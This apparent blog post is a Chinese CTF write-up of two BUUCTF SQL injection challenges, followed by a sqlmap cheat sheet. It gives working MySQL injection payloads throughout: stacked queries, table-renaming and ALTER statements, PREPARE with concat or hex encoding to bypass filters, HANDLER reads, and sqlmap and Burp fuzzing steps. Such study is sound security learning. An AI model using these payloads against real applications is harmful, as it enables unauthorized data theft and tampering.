BUUCTF靶场练习——第二周

[强网杯 2019]随便注

打开靶机看到如下一个输入框,根据题目标题可以看出这题应该是一道sql注入的题目

在这里插入图片描述

在参数后面加单引号和双引号验证注入点,可以发现单引号引发数据库报错,双引号没有报错,存在注入点,猜测应该是单引号闭合

在这里插入图片描述

在这里插入图片描述

做进一步测试,执行以下命令,返回了不同的结果,由此断定是单引号闭合方式

1' and '1' = '1  --  正常回显
1' and '1' = '2  --  不回显

在这里插入图片描述

在这里插入图片描述

接下来使用order by语句判断字段数,本来想使用HackBar插件来构造参数,但是发现每一次参数查询都需要将输入的参数进行url编码后才能正常执行,因此还是在输入框中进行注入吧;测试以下sql语句,根据不同的返回结果可以判断字段数为2

1' order by 1 #  --  正常回显
1' order by 2 #  --  正常回显
1' order by 3 #  --  报错

在这里插入图片描述

SQL中order by语句即对结果集中指定的列进行排序,当指定的列不存在时会报错

除了order by以外,还可以使用union select语句来判断字段数,测试以下sql语句,发现select语句被过滤了,好吧,不过确实是可以使用union select语句来判断字段数的

1' union select 1,2 #

在这里插入图片描述

union要求前后两个语句的结果具有相同的列数,不相同时会报错

在知道字段数为2后,接下来要判断回显位置,坏了,前面知道select被过滤了,从过滤返回的过滤代码来看,preg_match函数使用了正则表达式来匹配inject参数值中是否存在selectupdatedeletedropinsertwhere.,并且/i表示忽视大小写

在这里插入图片描述

这里要绕过select的过滤,基于上面的分析结果,大小写绕过是无效的,我还不知道有什么其他绕过方法,直接面向百度做题;尝试了双写、url编码、base64编码、hex编码、内联注释,好像都不行;看下大佬的writeup吧,学习一下绕过技巧

发现需要使用堆叠注入的方式来绕过

堆叠注入:即一堆sql语句或者说多条sql语句一起执行,每一条语句结尾以分号;结尾
原理:在sql中分号;表示一条sql语句的结束,结束一个sql语句后继续构造吓一跳语句会一起执行;union联合注入执行的语句类型是有限的
局限性:堆叠注入并不是在任何环境下都可以执行(比如oracle不能使用堆叠注入),堆叠注入的第二个语句产生的错误或者结果只能被忽略,并且在使用堆叠注入之前需要知道一些数据库相关信息

执行以下命令尝试爆数据库,发现存在六个库如下

1'; show databases; #

在这里插入图片描述

执行以下命令尝试爆表,发现存在两个表如下

1'; show tables; #

在这里插入图片描述

尝试查看test表内容并没有发现任何东西,则执行以下命令查看1919810931114514表的内容,发现存在flag字符

1'; show columns from `1919810931114514`; #

注意:表名为数字时,要用反引号包起来查询

在这里插入图片描述

根据大佬的writeup,存在四种解题思路

1. 修改表名和字段名绕过

该方法的原理是利用程序中已存在的sql语法来帮我们进行查询,因为在初始靶机界面可以看到实际上是回显了两个参数,1就是id值,hahahah就是data值,相当于执行了sql语句select id, data from words where id=1,的回显结果,为什么一定是在words表里面进行查询呢,因为191那个表只有flag一个字段;

在明白环境中已存在的sql查询语句的具体形式后,我们的目标是使其回显出flag的值,也就是使sql查询语句变成select id, data from words where id=1,但是这里的data是flag的值,words是表191,即要修改表191的表名为words,给新的words表新建id列,把新的words表中的flag列名改成data,这样就实现了利用环境中已存在的sql查询语句来回显flag的内容,构造sql语句如下

1'; rename table words to word1; rename table `1919810931114514` to words; alter table words add id int unsigned not Null auto_increment primary key; alter table words change flag data varchar(100); #

其中primary key表示这个属性是主键、auto_increment表示这个值是自增的

从而在初始靶场环境下键入1便可查询到flag{ffedcbbf-2200-4d48-be61-a7885db7189a}

在这里插入图片描述

2. 预编译+concat函数绕过

构造sql语句如下绕过select的过滤

1';PREPARE hacker from concat('s','elect', ' * from `1919810931114514` ');EXECUTE hacker;#

其中PREPARE hacker FROM ... 表示将from后的sql语句进行预编译并赋给hacker,而EXECUTE则用来执行预编译语句,concat函数用于将多个字符串连接成一个字符串

3. 预编译+16进制编码绕过

构造sql语句如下绕过select的过滤

1';PREPARE hacker from 0x73656c656374202a2066726f6d20603139313938313039333131313435313460;EXECUTE hacker;#

其中预编译语句PREPARE ... FROM ... 会进行编码转换,0x73656c656374202a2066726f6d20603139313938313039333131313435313460是select * from 1919810931114514 sql语句的16进制编码

也可以通过先定义一个变量,再对变量进行预编译再执行,即构造sql语句如下

1';Set @jia = 0x73656c656374202a2066726f6d20603139313938313039333131313435313460;PREPARE hacker from @jia;EXECUTE hacker;#

4. Mysql语法特性绕过

利用Mysql特有的handle语句,其可以逐行浏览某个表中的数据,构造sql语句如下

1';HANDLER `1919810931114514` OPEN;HANDLER `1919810931114514` READ FIRST;HANDLER `1919810931114514` CLOSE;

其中第二个语句即打开表,第三个语句即查看表第一行数据,第四个语句即关闭表

总结:

  1. 堆叠注入的原理和使用
  2. show语句也可以爆库、爆表、爆字段
  3. 可以利用环境中已存在的sql语法来实现想要的sql语句查询,通过使用rename和alter来修改表名和字段名,但是前提是需要知道环境中已存在的sql语法的具体形式
  4. 预编译相当于定义一个语句相同,参数不同的sql语句模板,可以通过预编译的方式来绕过特定字符的过滤,此外预编译还会进行编码转换,因此可以对预编译的内容进行编码绕过
  5. handle语句是Mysql特有的,可以用来逐行浏览某个表中的数据,利用方法如下
HENDLER table_name OPEN;  --  打开表
HENDLER table_name next;  --  逐行浏览数据
HENDLER table_name CLOSE;  --  关闭表

[SUCTF 2019]EasySQL

从题目名称看该题应该是一道sql注入的题目,打开靶机可以看到存在一个输入框

在这里插入图片描述

首先判断注入点,输入单引号和双引号,发现输入1有显示信息但没用,输入单引号没说nonono,输入双引号显示nonono,也就是说,页面没有回显信息,也没有回显报错信息,无法使用联合查询注入和报错注入,并且是以POST方式传输数据

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

接下来要判断闭合方式,但是对回显还是不太明白原理,不清楚我的命令是执行失败sql报错,还是某些字符被过滤,没能成功判断闭合方式,使用sqlmap尝试一下,执行以下命令进行注入探测

sqlmap -u http://18267643-2f05-4d4e-9778-56f7ca63c497.node4.buuoj.cn:81/ --data="query=1" --technique B --level 3 --risk 3

结果sqlmap也跑不出东西,不知道是我的sqlmap没有使用正确还是其他的原因,还是看一下大佬writeup学习一下注入手法吧;

原来显示nonono意思是过滤了字符,那么就可以使用burp suite来fuzz看下过滤了什么关键字,使用这个字典,将抓到的包sent to intruder,在intruder模块设置options,设置攻击模式为sniper狙击手模式,进行单字典遍历

在这里插入图片描述

Burp Suite的Intruder爆破模式

  1. sniper狙击手模式:单字典,按顺序一个一个参数依次遍历
  2. battering ram攻城锤模式:单字典,每个参数同时遍历同一个字典
  3. pitchfork草叉模式:多字典,多个参数同时进行遍历,一个选择字典1,另一个选择字典2
  4. cluster bomb集束炸弹模式:多字典,类似嵌套两个for循环遍历

设置payloads,使用字典进行爆破,进程之类的保持默认,开始爆破,可以看到站点还设置了防爆破,到49个请求时开始不响应(后来发现可以通过设置线程为1,可以极大限度减少不响应的情况)

在这里插入图片描述

根据length变量的值可以判断哪些变量被过滤哪些没有被过滤,length为507是被过滤的,length为500是没有被过滤的,可以发现分号;是没有被过滤的,因此可以使用堆叠注入

在这里插入图片描述

执行以下命令使用堆叠注入爆库报表

1; show databases; #  --  爆库
1; show tables; #  --  爆表
1; show columns from Flag; #  --  爆列,但是被过滤

发现存在Flag表

在这里插入图片描述

但是要从Flag表中爆数据时发现过滤了Flag关键字

在这里插入图片描述

接下来要再做可以有两种解题方法

1. 猜测源码解法一

根据后端能够做到数字回显字母不回显也没有显示字母被过滤,即query参数的值如果是非数字则无法正确查询得到数据回显,看了很多writeup都说根据这个回显不同可以判断后端语句大概是以下这种形式

select $_POST['query'] || flag from flag

但是很少有说为什么会想到后端语句就是这种形式,可能这就是大佬和新手的区别吧,实际上要能够想到这样的后端语句,需要对||语句的短路原理有一定的了解,此外要知道mysql中select 1 from xxx语句和select a from xxx语句的区别,前者是在xxx表中临时加一列,列名为1,且这一列的所有值都为1;后者并不会增加任何列,它只是从表名为xxx的表中选择已有的a列,并将该列的值返回给结果集。那么输入数字1时,由于非0数字恒真从而造成||语句短路,后端语句会变成这样的形式select 1 from flag;而输入字母时,字母也是恒真从而造成||语句短路,后端语句会变成这样的形式select a from flag;由前面对这两个语句的区别可以知道输入数字时会回显,输入字母时不会回显(flag表中没有列名为特定字母的列),因而会想到这种形式的后端语句(而且从前面堆叠发现的Flag表可以知道一定是from Flag)

知道了后端语句的构造就可以来构造payload回显flag了,构造payload为*,1,直接可以回显flag{7443c7d0-c5d8-4b24-aa4f-837f71349a4f},原因在于输入payload后后端语句会变成select *,1 || flag from flag,其中||语句实际上会短路,则变成select *,1 from flag,从而直接把flag显示出来

在这里插入图片描述

2. 猜测源码解法二

解法一种实际上是将||语句作为逻辑或来利用,解法二也是在猜测出后端源码的基础上,通过修改sql_modePIPES_AS_CONCAT ,从而||语句会变成字符串连接符,相当于concat函数,从而可以构造payload为1;set sql_mode=PIPES_AS_CONCAT;select 1,输入后后端语句会变成select 1; set sql_mode=PIPES_AS_CONCAT; select 1 || flag from flag,也即核心代码是select 1 from flagselect flag from flag,从而可以得到flag{7443c7d0-c5d8-4b24-aa4f-837f71349a4f}(PS:分号后面不要加空格,不然会显示Too long)

在这里插入图片描述

总结

  1. 可以使用burp进行fuzz测试看过滤了哪些字符,方便做进一步注入尝试,但是前提是网站对重放攻击不响应,或者要设置较低的线程数
  2. 一道题不管会做不会做都要多看几个题解,学习别人的思路和方法
  3. select 1 from xxx语句和select a from xxx语句的区别,前者是在xxx表中临时加一列,列名为1,且这一列的所有值都为1;后者并不会增加任何列,它只是从表名为xxx的表中选择已有的a列,并将该列的值返回给结果集
  4. MySQL中默认没有设置PIPES_AS_CONCAT ,此时||语句表示逻辑或,通过sql_mode=PIPES_AS_CONCAT 设置后,此时||语句相当于字符串连接符
  5. ||语句的短路特性,非0数字和字母都为真(不存在0||flag这个语句的结果为flag的情况,||语句结果只会为真1假0)

关于sqlmap的使用

支持类型:布尔盲注、时间盲注、报错注入、联合查询注入、堆叠注入

作用:

  1. 判断可注入的参数
  2. 判断可以用哪种sql注入技术进行注入
  3. 识别数据库
  4. 根据用户选择,读取哪些数据

语法:sqlmap [参数] [参数] …

常见参数:

# 获取目标方式
-u  --  指定目标url
-m  --  指定目标url文件
-l  --  把burpsuite日志直接倒出来给sqlmap检测
-r  --  从一个文本中获取http请求,https时配合--force-ssl参数使用
-g  --  测试注入google的搜索结果中的get参数

# http数据
--data  --  指定数据以POST方式提交
--cookie  --  指定cookie,在需要登录时需要指定,level参数2及以上才会尝试cookie参数注入
--param-del  --  指定字符分割测试参数
--user-agent  --  指定user-agent头,level参数3及以上才会尝试user-agent参数注入
--referer  --  指定referer头,可伪造,level参数3及以上才会尝试user-agent参数注入
--headers  --  增加额外的http头

# 探测
--level  --  从1-5,影响测试的注入点

# 风险等级
--risk  --  从1-5,影响测试语句

# 注入技术
--technique  --  指定注入技术,B布尔注入、T时间延迟注入、E报错注入、U联合查询注入、S堆叠注入

# 列数据
--dbs  --  列出所有数据库名
--current-db  --  列出当前数据库名
-D dvwa -tables  --  列出dvwa数据库的所有表
-D dvwa -T users –columns  --  列出dvwa数据库users表的所有列
-D dvwa -T users -C “user,password” –dump  --  列出dvwa数据库users表user、password列的所有内容
-b  --  返回数据库版本号
--current-user  --  返回用户名
--users  --  返回数据库管理用户
--passwords  --  列出并破解数据库用户的hash
--privileges  --  列出数据库管理员权限
--roles  --  列出数据库管理员角色

# 更多详见参考文章5

参考文章

  1. SQL注入针对关键字过滤的绕过技巧. zulk个人博客. Available at here. Accessed: 17 July 2023.
  2. 堆叠注入详解. 博客园. Available at here. Accessed: 18 July 2023.
  3. [强网杯 2019]随便注 1【SQL注入】四种解法. 知乎. Available at here. Accessed: 20 July 2023.
  4. BUUCTF[强网杯 2019]随便注 的三种解法. 优快云. Available at here. Accessed: 20 July 2023.
  5. sqlmap 中文文档用户手册. 文江博客. Available at here. Accessed: 20 July 2023.
  6. [Burp Suite完整教程] Intruder Attack type&Payloads – 拥有上千种姿态的攻击模式. 优快云. Available at here. Accessed: 22 July 2023.
  7. sqli注入fuzz字典—waf fuzz测试,ctf. 优快云. Available at here. Accessed: 22 July 2023.
  8. [SUCTF 2019]EasySQL 1 Writeup(超级详细). 优快云. Available at here. Accessed: 22 July 2023.
  9. BUUCTF:[SUCTF 2019]EasySQL. 优快云. Available at here. Accessed: 22 July 2023.
  10. [SUCTF 2019]EasySQL1. 优快云. Available at here. Accessed: 22 July 2023.
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值